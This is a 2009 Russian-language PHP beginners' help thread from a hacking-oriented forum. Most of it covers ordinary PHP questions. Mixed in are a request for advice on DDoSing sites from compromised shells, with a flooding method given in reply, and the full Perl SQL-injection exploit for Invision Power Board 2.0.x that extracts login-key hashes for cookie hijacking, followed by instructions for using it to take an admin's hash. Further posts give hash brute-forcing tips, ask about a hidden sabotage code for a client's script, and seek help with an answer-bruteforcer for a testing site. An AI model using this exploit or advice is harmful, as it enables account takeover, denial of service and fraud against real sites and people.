Просмотр полной версии : [php] Новичкам: задаем вопросы
Чем можно обфусцировать и закодировать php скрипт, что бы при его декоде работоспособность терялась, либо что декодирование вообще было не возможно, либо что нибудь на подобии?
Nightmarе
25.09.2009, 17:47
При появлении ошибки связанной с оперативкой "Memory Limit" в непредвиденных обстоятельствах есть ли возможность её обработать, если она выскакивает, то происходит какое то действие.
?
Krist_ALL
25.09.2009, 18:04
думаю нет т.к в пхпбб стоит обработчик ошибок от пхпбб но он не ловит ошибку с памятью
Nightmarе
25.09.2009, 18:08
Очень жаль если так.
Krist_ALL
25.09.2009, 18:12
скажи своему хостеру чтоб памяти выделил побольше и все
astrologer
25.09.2009, 18:53
Nightmarе, http://dklab.ru/chicken/nablas/45.html
Нужна ваша помощь :)
Вобщем у меня знакомый ддосит сайты с шеллов.
т.е. есть главный скрипт "командный центр" в него добавляешь урлы до шеллов. потом добавляешь задание на ддос и собсно все.
Может кто нибудь может подсказать как правильнее ддосить с php? все остальное сам напишу.
Заранее спасибо! :)
Открывай соединение в цыкле,и разрывай после коннекта(сокетами),и так указанное колво раз.Или просто филе_гет_контентс.Но проще сокеты,иполучать просто ХЕАд,без тела.
Открывай соединение в цыкле,и разрывай после коннекта(сокетами),и так указанное колво раз.Или просто филе_гет_контентс.Но проще сокеты,иполучать просто ХЕАд,без тела.
спасибо! :)
session_name("cxid");
session_start();
$sid=session_id();
Вот так создаётся у меня сессия
Вопрос в том как спрятать сессию в куки а то не красиво когда пользованели видят эту караказяберу в строке браузера.
session_name("cxid");
session_start();
$sid=session_id();
Вот так создаётся у меня сессия
Вопрос в том как спрятать сессию в куки а то не красиво когда пользованели видят эту караказяберу в строке браузера.
Хм, а просто присвоить куке значениесесси,некаг? А пр ивыходе просто бнулять накуй все кукисы,ну и прочее.
Хм, а просто присвоить куке значениесесси,некаг? А пр ивыходе просто бнулять накуй все кукисы,ну и прочее.
И что? Круто сессия в куках, а браузер всё равно вставляет в конец ссылки сессию
вопрос такой (прошу неплеваться если невозможно) существует скрипт например написанн мной где есть отправка данных, возможно ли прописать такое что если вводиш определенные данные (код который известен только автору) и скрипт уродуеться? (т е не просто например остановка программы а так чтоб переустановив скрипт на другой хостинг он оказался бы нерабочим?) (расчитанно на то что заказчик вообще непонимает в php)
Pashkela
27.09.2009, 00:11
возможно, но бекапы пока никто не отменял
xelex999
27.09.2009, 00:14
Приветствую всех и прошу помочь разобраться:
function generateHash($plainText, $salt = null){
if ($salt === null) {
$salt = substr(md5(uniqid(rand(), true)), 0, SALT_LENGTH); }
else {
$salt = substr($salt, 0, SALT_LENGTH);
}
return $salt . sha1($salt . $plainText);
эта функция генерит хэш 49 символов длинной и не могу понять значения соли она где берет,и почему возврашает именно 49 символов,sha1=40 символов а девять получается от соли.Может кто нить встречался с подобной ситуацией помогите плизз
define("SALT_LENGTH", 2);
function generateHash($plainText, $salt = null)
{
if ($salt === null) {
$salt = substr(md5(uniqid(rand(), true)), 0, SALT_LENGTH);
} else {
$salt = substr($salt, 0, SALT_LENGTH);
}
return $salt . sha1($salt . $plainText);
}
echo generateHash("Hello");
Потому что,длинна соли,ни что иное,как значение константы SALT_LENGTH.
Определи ее в самом начале,как это сделал я,и значение соли будет по твоему усмотрению,в моем случае это 2 символа.
xelex999
27.09.2009, 00:43
дело в том что мне нужно узнать пароль по хэшу,то есть алгоритм декодирования
Повторяю еще раз,смотри чему равна константа define("SALT_LENGTH", *);
Вот то,чему она равна - и есть соль,точнее ее длинна.отреж от конца полученого хеша колво символов взяте за соль,и бруть по соли
xelex999
27.09.2009, 01:00
Спасибо за подсказку смущает строка:if ($salt === null)
xelex999
27.09.2009, 01:18
вот и я про тоже если мне неизвестно значение salt_lenth или оно равно нулю как блин етот хэш декодировать,получается никак мда вот так всегда облом на самом интересном
oO
Рассуждая логически:
$salt . sha1($salt . $plainText);
Берем хеш,и отделяем 40 символов с конца - это хеш.
Все что перед ним - соль.
Далее в брут - по маске:
sha1($salt . $pass);
Где $salt = сиволы до хеша,которые мы достаали.Вот собственно и вся трудность.Дяльше тупо брут.
Как разделить строку на две по первым трём символам ?
1234567890 :)
$text = '1234567890abc';
for ($i = 0; $i < strlen($text); $i++) {
if($i<3){
$result[0] .= $text[$i];
}else{
$result[1] .= $text[$i];
}
}
print_r($result);
Вариант на говнокоде.
KaMiKadZe
27.09.2009, 16:27
Как разделить строку на две по первым трём символам ?
1234567890 :)
Недоконца понял что сделать, но думаю...
$str = "1234567890";
$str1 = substr($str,0,3);
$str2 = substr($str,3);
m0Hze,KaMiKadZe спасибо :)
Завтра плюсов поставлю)
==============================
Как можно быстро остановить работу скрипта ?
То есть запустил я скрипт, он что-то делает и мне захотелось остановить работу скрипта...такое можно реализовать ? (не предлагать закрыть браузер)
Если нет, то нет...
wildshaman
27.09.2009, 18:30
die();
m0Hze,KaMiKadZe спасибо :)
Завтра плюсов поставлю)
==============================
Как можно быстро остановить работу скрипта ?
То есть запустил я скрипт, он что-то делает и мне захотелось остановить работу скрипта...такое можно реализовать ? (не предлагать закрыть браузер)
Если нет, то нет...
скрипт, если я не ошибаюсь с циклом.
пробуй вконце выполняимого кода,что находится в цикле прописать что вроде:
<input type="submit" name="stop" value="Stop">
if($_POST['stop'])
{
exit;
}
geforse Проверять наличие файла - если файл исчез - остановить скрипт
L I G A Не получится
L I G A, нажимаю на стоп и все равно цикл ещё работает секунд 10, но затем останавливается :)
Gifts, отличная идея :)
L I G A
Зачем exit; ? Остановка цикла выполняется оператором break;
L I G A
Зачем exit; ? Остановка цикла выполняется оператором break;
зачем?
просто после этого цикла может еще содержаться код ,который через break не прервется.
А вобще это зависит от кода что находится после цикла.
mailbrush
27.09.2009, 21:17
geforse, в цикле
if(!file_exists('STOP')) exit;
Захочешь остановить скрипт - удали файл STOP (который ты создашь до начала выполнения скрипта)
зачем?
просто после этого цикла может еще содержаться код ,который через break не прервется.
А вобще это зависит от кода что находится после цикла.
Ну просто изначально не нужно писать гавнокоды, тогда будет всеравно что находится ДО цикла или ПОСЛЕ и можно будет останавливать цикл break;
crazy~driver
28.09.2009, 10:35
Подскажите можно ли средствами php как-нибудь подключить внешний файл на свою страницу а дальше продолжить выполнение скрипта
(я имею в виду что-то типа такого include "http://mysite.com/conf/bd.php" );
Gray_Wolf
28.09.2009, 10:49
Можно.
http://ru2.php.net/file_get_contents
Patronik
28.09.2009, 14:39
Захотел сделать простой интернет магазин, но вот проблемка обнаружилась когда дошел до записи в переменные сесии выбраных покупателем товаров то застрял так как в сесии не получаеться записать несколько товаров а каждий следующий товар заменяет предидущий, а надо чтобы все отдельно хранились. Делаю вообщем так
<?php
if( isset($_GET['category']) )
{
$category = $_GET['category'];
}
else
{
$category = "all";
}
echo'<div align="center"><table border = "1">';
echo'<tr> <th width="150"></th> <th width="150">Имя товара</th> <th width="150">Описание</th> <th width="150">Цена</th> <th width="50"></th> ';
$resalt = getTovaru($category);
while( $row = mysql_fetch_array($resalt) )
{
$tovarId = $row['tovar_id'];
$tovarName = $row['tovar_name'];
$tovarImage = $row['tovar_image'];
$tovarDescriptions = $row['tovar_descriptions'];
$tovarPrice = $row['tovar_price'];
$tovarCount = $row['tovar_count'];
echo '<tr> <th width="150"><img src="image/'.$tovarImage.'.jpg" width="75" height="75"></th> <th width="150"> '.$tovarName.'</th> <th width="150">'.$tovarDescriptions.'</th> <th width="150">'.$tovarPrice.'</th>';
if($tovarCount>0)
{
echo '<th width="50"><a href="http://www.shop.ua/basket.php?id='.$tovarId.'&nazva='.$tovarName.'&price='.$tovarPrice.'">Купить</a></th> ';
}
else
{
echo '<th width="50"><font color="red">Нет</font></th>';
}
if ( isset($_SESSION['userAdmin']) )
{
echo '<th width="50"> <a href= "http://www.shop.ua/update.php?tovarid='.$tovarId.'">Редактировать</a></th>';
}
echo '</tr>';
}
echo'</table></div>';
?>
ето был листинг вывода товаров, и даные про выбраный товар планирую передавать гетом по ссилку на страницу basket.php где думаб выводить содержымое баскета.
Листинг basket.php
<?php
session_start();
?>
<html>
<head>
<title>basket</title>
</head>
<body>
<?php
if( sizeof($_GET) != 0 )
{ $id = $_GET['id'];
$_SESSION['id']['nazva'] = $_GET['id']['nazva'];
$_SESSION['id']['price'] = $_GET['id']['price'];
}
foreach($_SESSION as $value)
{
echo ''.$value.' <br>';
}
?>
</body>
</html>
Подскажите пожалуйста что не так.
$_SESSION['id']['nazva'] = $_GET['id']['nazva'];
$_SESSION['id']['price'] = $_GET['id']['price'];
Ты каждый раз перезаписываей переменну
restart_05
28.09.2009, 15:30
к примеру из слова длинной 50 символов нужно вырезать 20 и заменить эти 20 на ... как можно сделать ??
$new_text = preg_replace('#^(.*){20}#','replace',$text);
restart_05
28.09.2009, 15:36
спс
я ничево не понял про РНР код
явставляю в прогу а потом куда ево сматреть незнаю
куда ты пхп код вставляешь ???
Deathdreams
28.09.2009, 22:39
Программа выглядит так.
В ней одно поле: "UIN: " и нужно с помощью php запустить файл со значением UIN и нажать на кнопку "OK".
Помогите :)
помогите плиз, вот такой код, почему-то неправильно работает
<?
echo $content->parent_id."__".$сhildren[$i]->id_content;
if($content->parent_id == $children[$i]->id_content)
{
?>
_1<div style="display:block;">
<?
}
else
{
?>
_2<div style="display:none;">
<?
}
?>
выдает : 6322__6322 _2
а должен 6322__6322 _1
все, лаг был какой то, просто заново все написал и заработало
сори но как то ты по дебильному написал) другого слова не подберу, почему не так?
<?php
echo $content->parent_id."__".$сhildren[$i]->id_content;
if($content->parent_id == $children[$i]->id_content)
{echo "_1<div style=\"display:block;\">";}
else
{
echo "_2<div style=\"display:none;\">
}
?>
сори но как то ты по дебильному написал) другого слова не подберу, почему не так?
<?php
echo $content->parent_id."__".$сhildren[$i]->id_content;
if($content->parent_id == $children[$i]->id_content)
{echo "_1<div style=\"display:block;\">";}
else
{
echo "_2<div style=\"display:none;\">
}
?>
сперва я написал примерно так, но когда не сработало стал расписывать по полочкам, все уже , заработало, просто переписал
ЗЫ а ты зачем юзаешь \" если можно чередовать двойные кавычки и одинарные
и вообще самый грамотный код будет выглядеть так:
if($content->parent_id == $сhildren[$i]->id_content)
echo '<div style="display:block;">';
else
echo '<div style="display:none;">';
mailbrush
28.09.2009, 23:34
Корвин, неа :)
echo $content->parent_id == $сhildren[$i]->id_content ? '<div style="display:block;">' : '<div style="display:none;">';
Корвин, неа :)
echo $content->parent_id == $сhildren[$i]->id_content ? '<div style="display:block;">' : '<div style="display:none;">';
ну да, так тоже мона=)
срочно нужна помощь! вообщем нужен простенький скрипт на пхп чтоб он удалил в заданной папке во всех файлах с заданным расширением ненужное слово.
отблагодарю
срочно нужна помощь! вообщем нужен простенький скрипт на пхп чтоб он удалил в заданной папке во всех файлах с заданным расширением ненужное слово.
отблагодарю
На скорую руку :rolleyes:
<?php
echo'<form method="post">
Папка
<input type="text" name="dir">
Раcширение (например txt)
<input type="text" name="type">
Ненужное слово
<input type="text" name="word">
<input type="submit" value="OK">
</form>';
if(isset($_POST['dir']) && !empty($_POST['dir']))
{
$allfiles = scandir($_POST['dir']);
foreach ($allfiles as $file)
{
$type = strrchr($file, '.');
if ($type == '.'.$_POST['type'])
{
$f = file_get_contents($_POST['dir']."/".$file);
$g = str_replace($_POST['word'], '', $f);
if (strlen($f) !== strlen($g))
{
$ff = fopen($_POST['dir']."/".$file, 'w');
fwrite($ff, $g);
fclose($ff);
}
}
}
}
?>
Научите дурака, как правильно делать, если передаётся переменная в запросе, http://site.ru/index.php?search=... как грамотно проверить:
if(если есть переменная search в запросе ){то делать это}
if(если есть переменная top в запросе ){то делать это}
if(и если нет переменной search и переменной top в запросе ){то делать это}
Спасибо!
спасибо большое,самое оно получилось!!
if(isset($_GET['search']) && !is_array($_GET['search']))
{
//делаем первое
}
else if(isset($_GET['top']) && !is_array($_GET['top']))
{
//второе
}
else
{
//третье
}
d_x, спасибо, а если search передаётся через форму? Как быть?
Epic wave
30.09.2009, 01:38
d_x, спасибо, а если search передаётся через форму? Как быть?
от метода зависит если method="post"; то
$a=$_POST['search'];
А какой писать метод? Я как то post всегда в форме писал ...
Epic wave
30.09.2009, 01:40
значит
$a=$_POST['search'];
в $a у тебя будет значение search
А какой писать метод? Я как то post всегда в форме писал ...
смотря что и какой размер передаешь
если в адресе виден то метод post. если не видет то GET
значит
$a=$_POST['search'];
в $a у тебя будет значение search
или если в адресе не видно
$a=$_GET['search'];
в $a у тебя будет значение search
если я правильно понял вопрос :D
Epic wave
30.09.2009, 02:05
или если в адресе не видно
$a=$_GET['search'];
в $a у тебя будет значение search
если я правильно понял вопрос :D
в $_GET значение ченрез url передается, а $_POST передает данные внутри тела запроса
Insane bboy
30.09.2009, 02:06
вопрос: к примеру скрипт index.php:
<?php
include 'conf.php';//файл конфига в котором переменные $a и $b
function table()//выводим форму с помощью которой мы можем изменить переменные $a и $b в conf.php
{
global $a;
global $b;
echo <<<HERE
<form method = "post" >
<input type ="text"name="aa" SIZE= "3" value="$a"/>
<input type ="text"name="bb" SIZE= "3" value="$b"/>
<input type = "submit" name = "save_conf" value=" Save "/>
</form>
HERE;
}
table();
if(isset($_POST['save_conf']))
{
//тут проверка данных
//если все нормально меняем введенными данными, значения переменных в conf.php
unset($_POST['save_conf']);//это наверно лишнее?
header("Location: index.php");
}
?>
сообственно вопрос, почему когда я ввел в поле\поля значения, нажал save и страница обновилась, value="$a" value="$b" показывают старые значения, хотя в файле conf.php все измнилось
старался как можно понятнее обьяснить:) но суть в том чтоб, когда я вношу изменения, обнавлялась страница и я видел эти измения, как это реализовать? а то что то пробую и ничего не получается, вместо header("Location: index.php"); пробывал javascript но все без толку.. :(
вопрос: к примеру скрипт index.php:
<?php
include 'conf.php';//файл конфига в котором переменные $a и $b
function table()//выводим форму с помощью которой мы можем изменить переменные $a и $b в conf.php
{
global $a;
global $b;
echo <<<HERE
<form method = "post" >
<input type ="text"name="aa" SIZE= "3" value="$a"/>
<input type ="text"name="bb" SIZE= "3" value="$b"/>
<input type = "submit" name = "save_conf" value=" Save "/>
</form>
HERE;
}
table();
if(isset($_POST['save_conf']))
{
//тут проверка данных
//если все нормально меняем введенными данными, значения переменных в conf.php
unset($_POST['save_conf']);//это наверно лишнее?
header("Location: index.php");
}
?>
сообственно вопрос, почему когда я ввел в поле\поля значения, нажал save и страница обновилась, value="$a" value="$b" показывают старые значения, хотя в файле conf.php все измнилось
старался как можно понятнее обьяснить:) но суть в том чтоб, когда я вношу изменения, обнавлялась страница и я видел эти измения, как это реализовать? а то что то пробую и ничего не получается, вместо header("Location: index.php"); пробывал javascript но все без толку.. :(
а форма куда передает данные ?
Insane bboy
30.09.2009, 02:17
этому же скрипту передает, ну то есть index.php
Epic wave
30.09.2009, 02:19
этому же скрипту передает, ну то есть index.php
в форме что-то не так. по-моему action="*.php" долден быть
Insane bboy
30.09.2009, 02:21
ну щас попробую. но вроде и так все работает, просто не обновляет страницу:(
Epic wave
30.09.2009, 02:22
в action="здесь php на который данные пересылаются"
Insane bboy
30.09.2009, 02:23
You don't have permission to access /*.php on this server.
ога попробывал:) теперь нифига не пашет:)
Да и вообще чего вы к форме прецепились. она пашет, все там верно, про action я знаю..
у меня там совсем другая трабла!!!вообще не с формой связана
Epic wave
30.09.2009, 02:24
блин, ну вместо звезды твой файл
Insane bboy
30.09.2009, 02:26
блин да пашет форма, значение передается скрипту index.php
Выложи весь код, иначе так гадать будем до нового года
Помогите пожалуйста разобраться вот с этим сплоитом:
#!/usr/bin/perl
use IO::Socket;
# # # #
# # # #
# # # #
# ## #### ## #
## ## ###### ## ##
## ## ###### ## ##
## ## #### ## ##
### ############ ###
########################
##############
######## ########## #######
### ## ########## ## ###
### ## ########## ## ###
### # ########## # ###
### ## ######## ## ###
## # ###### # ##
## # #### # ##
## ##
## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Пару слов о возвращаемом эксплоитом результате:
## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с
## помощью которого можно войти на форум под любым юзером без ввода пароля.
## member_id это также одноименное значение из кукиса.
## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените
## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if (@ARGV < 5)
{
print "-------------------------------------------------------------------------\r\n";
print " Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "usage:\r\n";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
print "SERVER - server where IPB installed\r\n";
print "/DIR/ - IPB directory or / for no directory\r\n";
print "FORUM_NUM - number of existing forum\r\n";
print "TOPIC_NUM - number of existing topic\r\n";
print "SID - your session id\r\n";
print "[TABLE_PREFIX] - table prefix in database\r\n";
print "[USER_ID] - user id for exploiting\r\n\r\n";
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}
if (@ARGV < 6) { $get_table = 1; }
$server = $ARGV[0];
$dir = $ARGV[1];
$fnum = $ARGV[2];
$tnum = $ARGV[3];
$sid = $ARGV[4];
$prefix = $ARGV[5];
$id = $ARGV[6];
print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] FORUM: $fnum\r\n";
print "[>] TOPIC: $tnum\r\n";
print "[>] SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>] ID: $id\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1)
{
$path .= "&qpid=r57"
}
else
{
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1 ,1,1,CONCAT(id,char(58),name,char(58),member_login _key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
}
print "[~] PREPARE TO CONNECT...\r\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";
$suc =0;
if ($get_table == 1)
{
while ($answer = <$socket>)
{
if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; }
}
if (!$suc) { print "Exploit failed\r\n"; }
exit();
}
print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------\r\n";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
else { print "Exploit failed\r\n"; }
# milw0rm.com [2004-11-22]
какие именно строчки в нем надо редактировать и что в них писать для того что бы стянуть хеш админа?
если заюзать этот вот что получается...:
C:\>Perl\sploits\3.pl [адрес форума]/1 1
-------------------------------------------------------------------------
Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
-------------------------------------------------------------------------
usage:
r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]
SERVER - server where IPB installed
/DIR/ - IPB directory or / for no directory
FORUM_NUM - number of existing forum
TOPIC_NUM - number of existing topic
SID - your session id
[TABLE_PREFIX] - table prefix in database
[USER_ID] - user id for exploiting
e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_
Gray_Wolf
30.09.2009, 09:13
Мда, вам же скрипт сказал что надо писать...
C:\>Perl\sploits\3.pl [адрес форума] / [**] [ваш SID из куков] [префикс таблиц, скорее всего ibf_] [ID юзера, чей хеш надо узнать]
*,** - хз что это за поля, почитайте описание сплойта.
.::BARS::.
30.09.2009, 11:34
Insane bboy
кеш почисти и проверь....
если изменились данные на новые... то дело в кешировании...
Всем привет!
Хочу научиться писать парсер!
1. С чего начать?
2. Что для этого нужно?
Deathdreams
30.09.2009, 13:51
1) Google, ищи мануалы.
2)Смотря парсер чего, нужно знания языка.
Gef3Dx, изучай регулярки http://pyha.ru/forum/topic/19.0. Смотри примеры на ачате в теме http://forum.antichat.ru/thread92492.html
ПХП злодеи, кто может из из уина аси в пхп вытаскивать инфо , интересует город
Самый простой вариант - грабить страницу http://www.icq.com/people/full_details_show.php?uin=[тут_уин] =)
1) Google, ищи мануалы.
2)Смотря парсер чего, нужно знания языка.
Gef3Dx, изучай регулярки http://pyha.ru/forum/topic/19.0. Смотри примеры на ачате в теме http://forum.antichat.ru/thread92492.html
php я хорошо знаю! Есть схема или порядок написания парсера???
Gray_Wolf
30.09.2009, 14:50
php я хорошо знаю! Есть схема или порядок написания парсера???
1. Получение контента.
2. Парсинг контента.
3. Занесение контента в БД.
Это если по простому...
ПХП злодеи, кто может из из уина аси в пхп вытаскивать инфо , интересует город
Самый простой вариант - грабить страницу http://www.icq.com/people/full_details_show.php?uin=[тут_уин] =)
хорошая идея ++ тебе
а другие варианты есть ?
хорошая идея ++ тебе
а другие варианты есть ?
Разобрать icq class?
Вот как вариант:
<?
$url = file_get_contents("http://www.icq.com/people/about_me.php?uin=тут номер аси");
preg_match('#<div class="uinf-2-2-2-4">(.*)?</div>#', $url, $city);
print $city[1];
?>
Ребят помогите.
Есть скрипт:
<?php
if ($_SERVER['REQUEST_URI'] == "/php_scripts/")
echo "<li id=\"nav-p-selected\"><a href=\"/php_scripts/\" id=\"nav-p-selected-a\">php</a>";
else
echo "<li id=\"nav-p1\"><a href=\"/php_scripts/\">php</a>";
?>
т.е. проверяем, если мы на сайте в каталоге /php_scripts/, то выводим выделенным ссылку, а если мы на главной, то выводим по-другому.
Это все работает, но надо еще проверять если мы в каком-либо подкаталоге каталога /php_scripts/, то ссылку выводить также, как если бы мы были в каталоге /php_scripts/.
Помогите с реализацией.
phpdreamer
30.09.2009, 19:01
Полный адрес к скрипту
<?php
echo "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
?>
Используй массив $_SERVER для построения ссылки
<HTML>
<HEAD>
<TITLE>HTML Form</TITLE>
</HEAD>
<BODY>
<style type="text/css">
.agree {
width: 100%; /* Ширина в процентах */
height: 100px; /* Высота в пикселах */
}
</style>
<FORM ACTION="index.php" METHOD=POST>
<TEXTAREA NAME="List" ROWS=5 COLS=40></TEXTAREA>
<TEXTAREA NAME="List2" ROWS=5 COLS=40></TEXTAREA>
<INPUT TYPE=SUBMIT NAME="SUBMIT" VALUE="Submit">
</FORM>
<?php
$List=$_POST["List"];
$List2=$_POST["List2"];
$str = trim($List);
$str2 = trim($List2);
$Array = explode ("\n", $str);
$Array2 = explode ("\n", $str2);
$NewList = implode ("", $Array);
$NewList2 = implode ("", $Array2);
$Soups = array(
"$NewList"=>"$NewList2"
);
$Line = each ($Soups);
print ("$Line[key];$Line[value]\n");
?>
</BODY>
</HTML>
Вот мой скрипт генерации email;pass . В первое поле надо вводить email каждый с новой строки - а во второе поле pass.
Но сейчас не выходит его сделать. Надо чтоб каждое значение массива key было через разделитель ; до value массивов.
Что я сделал не так, как єто исправить
У меня возникла такая проблема. Захотел написать брутер ответов к тестам testing.mtuci.ru, но запнулся уже на этапе авторизации, почему-то post не отсылается. Подскажите в чём проблема?
<?php
function post($url,$post)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)");
curl_setopt($ch, CURLOPT_COOKIEJAR, "/cook.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "/cook.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
$result = post("http://testing.mtuci.ru/list.php","p=1%D1%D108017&h="); //авторизация
$result = post("http://testing.mtuci.ru/test_session.php","user_test_choice=747695"); //выбор теста
echo $result;
?>
Bel_kin, думаю, php для такого не обязательно задействовать:
<html><body><script language='JavaScript'>
function build()
{
var a=document.getElementById('list1').value.replace(/\r/g,'').split("\n");
var b=document.getElementById('list2').value.replace(/\r/g,'').split("\n");
len=a.length;
if(len!=b.length)
{
alert('Разные длины списков или списки не заполнены!');
return false;
}
var list3=document.getElementById('list3');
list3.value="";
var div=document.getElementById('div').value;
for(var i=0;i<len;i++)
{
list3.value=list3.value+a[i]+div+b[i]+"\n";
}
}
</script>
<table border=0 cellpadding=1 cellspacing=1>
<tr>
<td>Адреса:<br><textarea rows=25 cols=35 id='list1'></textarea></td>
<td>Пароли:<br><textarea rows=25 cols=35 id='list2'></textarea></td>
<td>Результат:<br><textarea rows=25 cols=35 id='list3'></textarea></td>
</tr>
<tr><td colspan=3 align=center>Разделитель: <input type='text' id='div' value=':' style='width:40px;'> <input type='button' onclick='build();return false;' value='Генерировать'></td></tr>
</table>
</body>
</html>
кто на пишет скрипт онлайн кто сейчас на сайте на php,mysql
тому +2;)
У меня возникла такая проблема. Захотел написать брутер ответов к тестам testing.mtuci.ru, но запнулся уже на этапе авторизации, почему-то post не отсылается. Подскажите в чём проблема?
А с чего ты взял что у тебя проблема..?! У меня твой код работает, посты шлются.. ;) Какой результат выводит у тебя твой код..?!
ЗЫ: может с куками проблема, попробуй так:
curl_setopt($cl, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
curl_setopt($cl, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
Сосбтвенно,сталкиваюсь первый раз.
Имеем массив:
$data = array('title' => 'Admin Page', 'content' => 'Привет ' . $checkAdmin['name'] .
'! Готов приступить к работе?');
Так вот,каким образом,к каждому индексу в массиве,прибавить например с каждой стороны '[' and ']';
Тоесть,должно выйти чтото вроде:
$data = array('[title]' => 'Admin Page', '[content]' => 'Привет ' . $checkAdmin['name'] .
'! Готов приступить к работе?');
m0Hze, занеси в новый массив, а старый убей...
Вопрос не снимается,интересует ваша реализация.
Сам сдела с помощью foreach();
Встроенной команды не нашёл,пытался через array_map,key_change, но путного не вышло ничего.
m0Hze, занеси в новый массив, а старый убей...
Примерно так и поступил.Просто меня интересовала именно встроенная команда,но кроме array_map и key_change ничего похожего не нашёл.
Epic wave
30.09.2009, 23:53
кто на пишет скрипт онлайн кто сейчас на сайте на php,mysql
тому +2;)
<?
$m=file_get_contents("http://forum.antichat.ru/index.php");
$m=iconv("UTF-8","CP1251",$m);
if(preg_match_all("!<a href=\"member.php?u=\">(.*?)</a>!si",$m,$okkay))
$nik=$okkay[1];
else
$nik=array();
echo $nik;
?>
вообщем это парсер, проверять лень. ну смысл думаю уловил, потом порсто что получилось складываешь в базу
<?
$m=file_get_contents("http://forum.antichat.ru/index.php");
$m=iconv("UTF-8","CP1251",$m);
if(preg_match_all("!<a href=\"member.php?u=\">(.*?)</a>!si",$m,$okkay))
$nik=$okkay[1];
else
$nik=array();
echo $nik;
?>
